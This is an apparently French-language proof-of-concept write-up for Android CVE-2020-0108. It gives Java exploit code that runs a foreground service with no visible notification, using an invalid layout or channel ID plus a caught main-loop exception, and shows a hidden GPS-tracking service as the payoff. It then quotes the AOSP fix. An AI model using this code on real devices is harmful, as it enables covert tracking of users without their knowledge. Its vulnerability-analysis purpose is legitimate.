
PoC de CVE-2020-0108
onNotificationError de NotificationManagerService, qui ne gère pas correctement les cas anormaux lors de l'affichage de la notification.// frameworks/base/services/core/java/com/android/server/notification/NotificationManagerService.java
@Override
public void onNotificationError(int callingUid, int callingPid, String pkg, String tag,
int id, int uid, int initialPid, String message, int userId) {
cancelNotification(callingUid, callingPid, pkg, tag, id, 0, 0, false, userId,
REASON_ERROR, null);
}
RemoteViews, cela échoue lors de l'analyse du layout de la notification par NotificationManagerService et lève une exception, appelant ainsi onNotificationError. Comme la méthode onNotificationError appelle simplement cancelNotification pour annuler la notification sans terminer le service ou l'ensemble de l'application, le service de premier plan continue de s'exécuter sans afficher de notification.postNotification de ServiceRecord, qui ne gère pas correctement les cas anormaux lors de l'affichage de la notification et lève une exception vers le programme utilisateur.// frameworks/base/services/core/java/com/android/server/am/ServiceRecord.java
public void postNotification() {
final int appUid = appInfo.uid;
final int appPid = app.pid;
if (foregroundId != 0 && foregroundNoti != null) {
//...
ams.mHandler.post(new Runnable() {
public void run() {
//...
try {
//...
} catch (RuntimeException e) {
Slog.w(TAG, "Error showing notification for service", e);
// If it gave us a garbage notification, it doesn't
// get to be foreground.
ams.setServiceForeground(instanceName, ServiceRecord.this,
0, null, 0, 0);
ams.crashApplication(appUid, appPid, localPackageName, -1,
"Bad notification for startForeground: " + e);
}
}
});
}
}
postNotification de ServiceRecord. Dans la gestion de l'exception, seule la méthode crashApplication de l'AMS est appelée pour lancer une exception du thread principal vers l'application. Mais si l'application capture l'exception sur le thread principal, l'application ne plante pas, et le service de premier plan continue de s'exécuter sans afficher de notification.NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
NotificationChannel notificationChannel = new NotificationChannel("c01", "CVE-2020-0104", NotificationManager.IMPORTANCE_DEFAULT);
notificationChannel.setDescription("Testing CVE-2020-0104");
notificationChannel.enableLights(true);
notificationChannel.setLightColor(Color.RED);
notificationChannel.enableVibration(true);
notificationChannel.setVibrationPattern(new long[]{100, 200, 300, 400, 500, 400, 300, 200, 100});
notificationManager.createNotificationChannel(notificationChannel);
// Create a RemoteViews object with a invalid layout ID
RemoteViews remoteViews = new RemoteViews(getPackageName(), -1 /* A Invalid Layout ID */);
Notification notification = new NotificationCompat.Builder(this, "c01")
.setContentTitle("Testing CVE-2020-0104")
.setContentText("If you see this means you device is not vulnerable")
.setCustomBigContentView(remoteViews)
.setWhen(System.currentTimeMillis())
.setSmallIcon(R.drawable.ic_launcher_foreground)
.setLargeIcon(BitmapFactory.decodeResource(getResources(), R.drawable.ic_launcher_foreground))
.build();
startForeground(1, notification);
RemoteViews, nous avons défini l'ID de layout sur -1, ce qui est clairement une valeur invalide, déclenchant ainsi le rappel onNotificationError.// Handle the exception in main loop
new Handler(Looper.getMainLooper()).post(new Runnable() {
@Override
public void run() {
while (true) {
try {
Looper.loop();
} catch (Throwable e) {
e.printStackTrace();
}
}
}
});
// Create a Notification object with a invalid channel ID
Notification notification = new NotificationCompat.Builder(this, "InvalidInvalidInvalid" /* A Invalid Channel ID */)
.setContentTitle("Testing CVE-2020-0104")
.setContentText("If you see this means you device is not vulnerable")
.setWhen(System.currentTimeMillis())
.setSmallIcon(R.drawable.ic_launcher_foreground)
.setLargeIcon(BitmapFactory.decodeResource(getResources(), R.drawable.ic_launcher_foreground))
.build();
startForeground(2, notification);
NotificationChannel et avons directement utilisé un ID de canal invalide pour construire la notification, déclenchant ainsi l'exception de la méthode postNotification. Puis nous avons capturé l'exception du thread principal, empêchant ainsi le plantage de l'application.public void refreshLocation() {
LocationManager locationManager = (LocationManager) getSystemService(Context.LOCATION_SERVICE);
String provider = LocationManager.GPS_PROVIDER;
if (!checkPermission(Manifest.permission.ACCESS_FINE_LOCATION)) {
return;
}
locationManager.requestLocationUpdates(provider, 2000, 10, new LocationListener() {
@Override
public void onLocationChanged(Location location) {
double lat = location.getLatitude();
double lng = location.getLongitude();
Log.i(TAG, "Location Update: Latitude="+lat+",Longitude="+lng);
}
@Override
public void onStatusChanged(String provider, int status, Bundle extras) {
}
@Override
public void onProviderEnabled(String provider) {
}
@Override
public void onProviderDisabled(String provider) {
}
});
}
onNotificationError, et également dans la gestion des exceptions de la méthode postNotification. Dans la méthode crashApplication, avec le mode forcé force=true, l'AMS force la suppression de l'application dans les 5 secondes suivant l'exception, même si l'application capture l'exception.onNotificationError appelle crashApplication pour faire planter l'application, avec force=true.// frameworks/base/services/core/java/com/android/server/notification/NotificationManagerService.java
@Override
public void onNotificationError(int callingUid, int callingPid, String pkg, String tag,
int id, int uid, int initialPid, String message, int userId) {
final boolean fgService;
synchronized (mNotificationLock) {
NotificationRecord r = findNotificationLocked(pkg, tag, id, userId);
fgService = r != null && (r.getNotification().flags & FLAG_FOREGROUND_SERVICE) != 0;
}
cancelNotification(callingUid, callingPid, pkg, tag, id, 0, 0, false, userId,
REASON_ERROR, null);
if (fgService) {
// Still crash for foreground services, preventing the not-crash behaviour abused
// by apps to give us a garbage notification and silently start a fg service.
Binder.withCleanCallingIdentity(
() -> mAm.crashApplication(uid, initialPid, pkg, -1,
"Bad notification(tag=" + tag + ", id=" + id + ") posted from package "
+ pkg + ", crashing app(uid=" + uid + ", pid=" + initialPid + "): "
+ message, true /* force */));
}
}
postNotification, la méthode killMisbehavingService est appelée pour tuer le service au comportement anormal.// frameworks/base/services/core/java/com/android/server/am/ServiceRecord.java
} catch (RuntimeException e) {
Slog.w(TAG, "Error showing notification for service", e);
// If it gave us a garbage notification, it doesn't
// get to be foreground.
ams.mServices.killMisbehavingService(record,
appUid, appPid, localPackageName);
}
killMisbehavingService appelle également crashApplication après avoir acquis le verrou.// frameworks/base/services/core/java/com/android/server/am/ActiveServices.java
void killMisbehavingService(ServiceRecord r,
int appUid, int appPid, String localPackageName) {
synchronized (mAm) {
stopServiceLocked(r);
mAm.crashApplication(appUid, appPid, localPackageName, -1,
"Bad notification for startForeground", true /*force*/);
}
}
force=true est le suivant : forcer la suppression de l'application dans les 5 secondes suivant l'exception.// frameworks/base/services/core/java/com/android/server/am/AppErrors.java
if (force) {
// If the app is responsive, the scheduled crash will happen as expected
// and then the delayed summary kill will be a no-op.
final ProcessRecord p = proc;
mService.mHandler.postDelayed(
() -> killAppImmediateLocked(p, "forced", "killed for invalid state"),
5000L);
}